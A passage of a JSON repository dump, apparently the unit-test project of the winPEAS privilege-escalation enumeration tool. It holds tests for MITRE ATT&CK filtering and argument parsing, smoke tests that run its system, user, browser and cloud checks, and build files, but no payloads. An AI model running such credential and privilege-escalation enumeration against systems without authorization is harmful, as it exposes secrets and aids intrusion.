PassesMitreFilter_NullMitreAttackIds_PassesThrough()\n        {\n            // A check with null MitreAttackIds should NOT be silently excluded\n            // when a filter is active — it simply has no metadata to match against.\n            winPEAS.Checks.Checks.MitreFilter.Clear();\n            winPEAS.Checks.Checks.MitreFilter.Add(\"T1082\");\n            Assert.IsTrue(InvokePassesMitreFilter(null),\n                \"A check with null MitreAttackIds should pass through (return true) when a filter is active.\");\n        }\n\n        [TestMethod]\n        public void PassesMitreFilter_EmptyMitreAttackIds_PassesThrough()\n        {\n            // A check that declares string[0] should also pass through, not be silently excluded.\n            winPEAS.Checks.Checks.MitreFilter.Clear();\n            winPEAS.Checks.Checks.MitreFilter.Add(\"T1082\");\n            Assert.IsTrue(InvokePassesMitreFilter(new string[0]),\n                \"A check with empty MitreAttackIds should pass through (return true) when a filter is active.\");\n        }\n\n        [TestMethod]\n        public void PassesMitreFilter_SubtechniqueFilter_DoesNotMatchParentOnlyTag()\n        {\n            // filter=T1552.001 (child) must NOT match a check tagged only with T1552 (parent).\n            // Parent filters may broaden to children, but never the reverse.\n            winPEAS.Checks.Checks.MitreFilter.Clear();\n            winPEAS.Checks.Checks.MitreFilter.Add(\"T1552.001\");\n            Assert.IsFalse(InvokePassesMitreFilter(new[] { \"T1552\" }),\n                \"A sub-technique filter (T1552.001) must not match a check tagged with only the parent (T1552).\");\n        }\n\n        [TestMethod]\n        public void MaxRegexFileSize_ArgParsed_Correctly()\n        {\n            ParseOnly(\"max-regex-file-size=500000\");\n            Assert.AreEqual(500000, winPEAS.Checks.Checks.MaxRegexFileSize,\n                \"max-regex-file-size=500000 should set MaxRegexFileSize to 500000.\");\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/Tests/ChecksArgumentEdgeCasesTests.cs",
    "content": "using System;\nusing Microsoft.VisualStudio.TestTools.UnitTesting;\n\nnamespace winPEAS.Tests\n{\n    [TestClass]\n    public class ChecksArgumentEdgeCasesTests\n    {\n        [TestMethod]\n        public void ShouldNotThrowOnEmptyLogFileArg()\n        {\n            // Should return early with a user-friendly error, not crash.\n            Program.Main(new[] { \"log=\" });\n        }\n\n        [TestMethod]\n        public void ShouldNotThrowOnPortsWithoutNetwork()\n        {\n            // Should warn and return early because -network was not provided.\n            Program.Main(new[] { \"-ports=80,443\" });\n        }\n\n        [TestMethod]\n        public void ShouldNotThrowOnInvalidNetworkArgument()\n        {\n            // Should warn and return early because the IP is invalid.\n            Program.Main(new[] { \"-network=10.10.10.999\" });\n        }\n\n        [TestMethod]\n        public void ShouldNotThrowOnEmptyNetworkArgument()\n        {\n            // Should warn and return early because the value is empty.\n            Program.Main(new[] { \"-network=\" });\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/Tests/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "winPEAS/winPEASexe/Tests/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeRuntimeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of runtime assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeRuntimeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of runtime assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeRuntimeReferences\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"UseRuntimeReferencePaths\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeRuntimeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of runtime assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeRuntimeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of runtime assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "winPEAS/winPEASexe/Tests/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.InteropServices;\n\n// General Information about an assembly is controlled through the following\n// set of attributes. Change these attribute values to modify the information\n// associated with an assembly.\n[assembly: AssemblyTitle(\"Tests\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Tests\")]\n[assembly: AssemblyCopyright(\"Copyright ©  2021\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// Setting ComVisible to false makes the types in this assembly not visible\n// to COM components.  If you need to access a type in this assembly from\n// COM, set the ComVisible attribute to true on that type.\n[assembly: ComVisible(false)]\n\n// The following GUID is for the ID of the typelib if this project is exposed to COM\n[assembly: Guid(\"66aa4619-4d0f-4226-9d96-298870e9bb50\")]\n\n// Version information for an assembly consists of the following four values:\n//\n//      Major Version\n//      Minor Version\n//      Build Number\n//      Revision\n//\n// You can specify all the values or you can default the Build and Revision Numbers\n// by using the '*' as shown below:\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"1.0.0.0\")]\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\n"
  },
  {
    "path": "winPEAS/winPEASexe/Tests/SmokeTests.cs",
    "content": "﻿using Microsoft.VisualStudio.TestTools.UnitTesting;\nusing System;\n\nnamespace winPEAS.Tests\n{\n    [TestClass]\n    public class SmokeTests\n    {\n        [TestMethod]\n        public void ShouldRunWinPeass()\n        {\n            try\n            {\n                string[] args = new string[] {\n                    \"systeminfo\", \"userinfo\", \"servicesinfo\", \"browserinfo\", \"eventsinfo\", \"cloud\", \"debug\"\n                };\n                Program.Main(args);\n            }\n            catch (Exception e)\n            {\n                Assert.Fail($\"Exception thrown: {e.Message}\");\n            }\n        }\n\n        [TestMethod]\n        public void ShouldDisplayHelp()\n        {\n            try\n            {\n                string[] args = new string[] {\n                    \"help\",\n                };\n                Program.Main(args);\n            }\n            catch (Exception e)\n            {\n                Assert.Fail($\"Exception thrown: {e.Message}\");\n            }\n        }\n    }\n}\n\n"
  },
  {
    "path": "winPEAS/winPEASexe/Tests/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Costura.Fody\" version=\"5.7.0\" targetFramework=\"net452\" developmentDependency=\"true\" />\n  <package id=\"EntityFramework\" version=\"6.4.4\" targetFramework=\"net452\" />\n  <package id=\"Fody\" version=\"6.5.5\" targetFramework=\"net452\" developmentDependency=\"true\" />\n  <package id=\"Microsoft.CodeCoverage\" version=\"16.10.0\" targetFramework=\"net452\" />\n  <package id=\"Microsoft.NET.Test.Sdk\" version=\"16.10.0\" targetFramework=\"net452\" />\n  <package id=\"Microsoft.NETCore.Platforms\" version=\"1.1.0\" targetFramework=\"net452\" />\n  <package id=\"MSTest.TestAdapter\" version=\"2.2.5\" targetFramework=\"net452\" />\n  <package id=\"MSTest.TestFramework\" version=\"2.2.5\" targetFramework=\"net452\" />\n  <package id=\"NETStandard.Library\" version=\"1.6.1\" targetFramework=\"net452\" />\n  <package id=\"Portable.BouncyCastle\" version=\"1.9.0\" targetFramework=\"net452\" />\n  <package id=\"Stub.System.Data.SQLite.Core.NetFramework\" version=\"1.0.119.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Collections\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Collections.Concurrent\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Data.SQLite\" version=\"1.0.119.0\" targetFramework=\"net452\" />\n  <package id=\"System.Data.SQLite.Core\" version=\"1.0.119.0\" targetFramework=\"net452\" />\n  <package id=\"System.Data.SQLite.EF6\" version=\"1.0.119.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Data.SQLite.Linq\" version=\"1.0.119.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Diagnostics.Debug\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Diagnostics.Tools\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Diagnostics.Tracing\" version=\"4.3.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Globalization\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.IO\" version=\"4.3.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.IO.Compression\" version=\"4.3.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Linq\" version=\"4.3.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Linq.Expressions\" version=\"4.3.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Net.Http\" version=\"4.3.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Net.Primitives\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.ObjectModel\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Reflection\" version=\"4.3.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Reflection.Extensions\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Reflection.Primitives\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Resources.ResourceManager\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Runtime\" version=\"4.3.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Runtime.Extensions\" version=\"4.3.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Runtime.InteropServices\" version=\"4.3.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Runtime.InteropServices.RuntimeInformation\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Runtime.Numerics\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Text.Encoding\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Text.Encoding.Extensions\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Text.RegularExpressions\" version=\"4.3.1\" targetFramework=\"net48\" />\n  <package id=\"System.Threading\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Threading.Tasks\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Threading.Timer\" version=\"4.3.0\" targetFramework=\"net452\" />\n  <package id=\"System.Xml.ReaderWriter\" version=\"4.3.0\" targetFramework=\"net452\" requireReinstallation=\"true\" />\n  <package id=\"System.Xml.XDocument\" version=\"4.3.0\" targetFramework=\"net452\" />\n</packages>"
  },
  {
    "path": "winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.props\" Condition=\"Exists('..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.props')\" />\n  <Import Project=\"..\\packages\\MSTest.TestAdapter.2.2.5\\build\\net45\\MSTest.TestAdapter.props\" Condition=\"Exists('..\\packages\\MSTest.TestAdapter.2.2.5\\build\\net45\\MSTest.TestAdapter.props')\" />\n  <Import Project=\"..\\packages\\Microsoft.NET.Test.Sdk.16.10.0\\build\\net45\\Microsoft.NET.Test.Sdk.props\" Condition=\"Exists('..\\packages\\Microsoft.NET.Test.Sdk.16.10.0\\build\\net45\\Microsoft.NET.Test.Sdk.props')\" />\n  <Import Project=\"..\\packages\\Microsoft.CodeCoverage.16.10.0\\build\\netstandard1.0\\Microsoft.CodeCoverage.props\" Condition=\"Exists('..\\packages\\Microsoft.CodeCoverage.16.10.0\\build\\netstandard1.0\\Microsoft.CodeCoverage.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{66AA4619-4D0F-4226-9D96-298870E9BB50}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <RootNamespace>Tests</RootNamespace>\n    <AssemblyName>Tests</AssemblyName>\n    <TargetFrameworkVersion>v4.8</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n    <TargetFrameworkProfile />\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugType>pdbonly</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>bin\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup>\n    <StartupObject />\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"BouncyCastle.Crypto, Version=1.9.0.0, Culture=neutral, PublicKeyToken=0e99375e54769942, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\Portable.BouncyCastle.1.9.0\\lib\\net40\\BouncyCastle.Crypto.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Costura, Version=5.7.0.0, Culture=neutral, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\Costura.Fody.5.7.0\\lib\\netstandard1.0\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.dll</HintPath>\n    </Reference>\n    <Reference Include=\"EntityFramework.SqlServer, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.SqlServer.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Microsoft.VisualStudio.CodeCoverage.Shim, Version=15.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\Microsoft.CodeCoverage.16.10.0\\lib\\net45\\Microsoft.VisualStudio.CodeCoverage.Shim.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Microsoft.VisualStudio.TestPlatform.TestFramework, Version=14.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\MSTest.TestFramework.2.2.5\\lib\\net45\\Microsoft.VisualStudio.TestPlatform.TestFramework.dll</HintPath>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions, Version=14.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\MSTest.TestFramework.2.2.5\\lib\\net45\\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll</HintPath>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.ComponentModel.Composition\" />\n    <Reference Include=\"System.ComponentModel.DataAnnotations\" />\n    <Reference Include=\"System.Core\" />\n    <Reference Include=\"System.Data.SQLite, Version=1.0.119.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\lib\\net451\\System.Data.SQLite.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Data.SQLite.EF6, Version=1.0.119.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Data.SQLite.EF6.1.0.119.0\\lib\\net451\\System.Data.SQLite.EF6.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Data.SQLite.Linq, Version=1.0.119.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Data.SQLite.Linq.1.0.119.0\\lib\\net451\\System.Data.SQLite.Linq.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.IO.Compression\" />\n    <Reference Include=\"System.Numerics\" />\n    <Reference Include=\"System.Runtime.InteropServices.RuntimeInformation, Version=4.0.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL\">\n      <HintPath>..\\packages\\System.Runtime.InteropServices.RuntimeInformation.4.3.0\\lib\\net45\\System.Runtime.InteropServices.RuntimeInformation.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Text.RegularExpressions, Version=4.1.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n      <HintPath>..\\packages\\System.Text.RegularExpressions.4.3.1\\lib\\net463\\System.Text.RegularExpressions.dll</HintPath>\n      <Private>True</Private>\n    </Reference>\n    <Reference Include=\"System.Xml.Linq\" />\n    <Reference Include=\"System.Data.DataSetExtensions\" />\n    <Reference Include=\"Microsoft.CSharp\" />\n    <Reference Include=\"System.Data\" />\n    <Reference Include=\"System.Net.Http\" />\n    <Reference Include=\"System.Xml\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ArgumentParsingTests.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"SmokeTests.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"App.config\" />\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\winPEAS\\winPEAS.csproj\">\n      <Project>{d934058e-a7db-493f-a741-ae8e3df867f4}</Project>\n      <Name>winPEAS</Name>\n    </ProjectReference>\n  </ItemGroup>\n\n  <Target Name=\"CopyVSTestFrameworkToMSTestAdapter\" AfterTargets=\"Build\">\n    <PropertyGroup>\n      <_PackagesDir>$(MSBuildThisFileDirectory)..\\packages\\</_PackagesDir>\n      <_MSTestFrameworkDir>$(_PackagesDir)MSTest.TestFramework.2.2.5\\lib\\net45\\</_MSTestFrameworkDir>\n    </PropertyGroup>\n\n    <ItemGroup Condition=\"Exists('$(_MSTestFrameworkDir)')\">\n      <_VSTestFrameworkDlls Include=\"$(_MSTestFrameworkDir)Microsoft.VisualStudio.TestPlatform.TestFramework*.dll\" />\n    </ItemGroup>\n\n    <ItemGroup>\n      <_VSTestCopyDirs Include=\"$(TargetDir)\" Condition=\"'$(TargetDir)' != '' AND Exists('$(TargetDir)')\" />\n      <_MSTestAdapterDirs Include=\"$(_PackagesDir)MSTest.TestAdapter.2.2.5\\build\\net45\\\" Condition=\"Exists('$(_PackagesDir)MSTest.TestAdapter.2.2.5\\build\\net45\\')\" />\n      <_MSTestAdapterDirs Include=\"$(_PackagesDir)MSTest.TestAdapter.2.2.5\\build\\_common\\\" Condition=\"Exists('$(_PackagesDir)MSTest.TestAdapter.2.2.5\\build\\_common\\')\" />\n    </ItemGroup>\n\n    <Message\n      Condition=\"@(_VSTestFrameworkDlls) != ''\"\n      Importance=\"high\"\n      Text=\"CopyVSTestFrameworkToMSTestAdapter: copying @( _VSTestFrameworkDlls )\" />\n\n    <Copy\n      Condition=\"@(_VSTestFrameworkDlls) != '' AND @(_VSTestCopyDirs) != ''\"\n      SourceFiles=\"@(_VSTestFrameworkDlls)\"\n      DestinationFolder=\"%(_VSTestCopyDirs.Identity)\"\n      SkipUnchangedFiles=\"true\" />\n\n    <Copy\n      Condition=\"@(_VSTestFrameworkDlls) != '' AND @(_MSTestAdapterDirs) != ''\"\n      SourceFiles=\"@(_VSTestFrameworkDlls)\"\n      DestinationFolder=\"%(_MSTestAdapterDirs.Identity)\"\n      SkipUnchangedFiles=\"true\" />\n  </Target>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\packages\\Microsoft.CodeCoverage.16.10.0\\build\\netstandard1.0\\Microsoft.CodeCoverage.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Microsoft.CodeCoverage.16.10.0\\build\\netstandard1.0\\Microsoft.CodeCoverage.props'))\" />\n    <Error Condition=\"!Exists('..\\packages\\Microsoft.CodeCoverage.16.10.0\\build\\netstandard1.0\\Microsoft.CodeCoverage.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Microsoft.CodeCoverage.16.10.0\\build\\netstandard1.0\\Microsoft.CodeCoverage.targets'))\" />\n    <Error Condition=\"!Exists('..\\packages\\Microsoft.NET.Test.Sdk.16.10.0\\build\\net45\\Microsoft.NET.Test.Sdk.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Microsoft.NET.Test.Sdk.16.10.0\\build\\net45\\Microsoft.NET.Test.Sdk.props'))\" />\n    <Error Condition=\"!Exists('..\\packages\\Microsoft.NET.Test.Sdk.16.10.0\\build\\net45\\Microsoft.NET.Test.Sdk.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Microsoft.NET.Test.Sdk.16.10.0\\build\\net45\\Microsoft.NET.Test.Sdk.targets'))\" />\n    <Error Condition=\"!Exists('..\\packages\\MSTest.TestAdapter.2.2.5\\build\\net45\\MSTest.TestAdapter.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\MSTest.TestAdapter.2.2.5\\build\\net45\\MSTest.TestAdapter.props'))\" />\n    <Error Condition=\"!Exists('..\\packages\\MSTest.TestAdapter.2.2.5\\build\\net45\\MSTest.TestAdapter.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\MSTest.TestAdapter.2.2.5\\build\\net45\\MSTest.TestAdapter.targets'))\" />\n    <Error Condition=\"!Exists('..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.props'))\" />\n    <Error Condition=\"!Exists('..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', 